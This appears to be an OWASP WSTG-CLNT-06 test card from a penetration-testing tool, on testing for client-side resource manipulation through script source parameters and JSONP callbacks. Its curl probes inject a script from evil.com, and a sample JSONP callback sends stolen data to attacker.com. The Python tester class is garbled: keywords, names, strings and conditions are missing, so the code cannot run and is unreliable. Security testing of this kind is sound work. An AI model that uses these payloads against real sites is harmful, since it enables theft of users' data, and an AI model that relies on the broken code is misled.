wstg-clnt-06

name	wstg-clnt-06
description	Testing for Client-Side Resource Manipulation
category	client-side
owasp_id	WSTG-CLNT-06
version	1.0.0
author	cyberstrike-official
tags	["client-side","javascript","dom","cors","wstg","clnt"]
tech_stack	[]
cwe_ids	["CWE-200"]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-clnt-06

Test ID

WSTG-CLNT-06

Test Name

Testing for Client-Side Resource Manipulation

High-Level Description

Client-side resource manipulation occurs when attackers can control what resources (scripts, styles, images) a page loads. This can lead to loading malicious scripts, defacement, or data theft by manipulating URLs of external resources.

---

What to Check

• Dynamic script loading
• User-controlled src attributes
• JSONP endpoints
• Dynamic CSS loading
• iframe src manipulation

---

How to Test

Step 1: Test Script Source Manipulation

#!/bin/bash
TARGET="https://target.com"

# Check if script sources can be manipulated
curl -s "$TARGET/page?script=https://evil.com/malicious.js" | grep -i "script.*src"
curl -s "$TARGET/page?callback=alert" | grep -i "callback"

Step 2: JSONP Exploitation

// If JSONP callback can be controlled:
// https://target.com/api/data?callback=stealData

function stealData(data) {
  // Send data to attacker
  fetch("https://attacker.com/log?data=" + JSON.stringify(data))
}

Step 3: Resource Manipulation Tester

#!/usr/bin/env python3
import requests
import re

class ResourceManipulationTester:
     ():
        .base_url = base_url
        .findings = []

     ():
        
        ()

        payload = 
        response = requests.get(
            ,
            params={param: payload}
        )

           response.text    response.text:
            ()
            .findings.append({
                : ,
                : 
            })

     ():
        
        ()

        response = requests.get(
            ,
            params={: }
        )

           response.text:
            ()
            .findings.append({
                : ,
                : 
            })


tester = ResourceManipulationTester()
tester.test_script_injection(, )
tester.test_jsonp()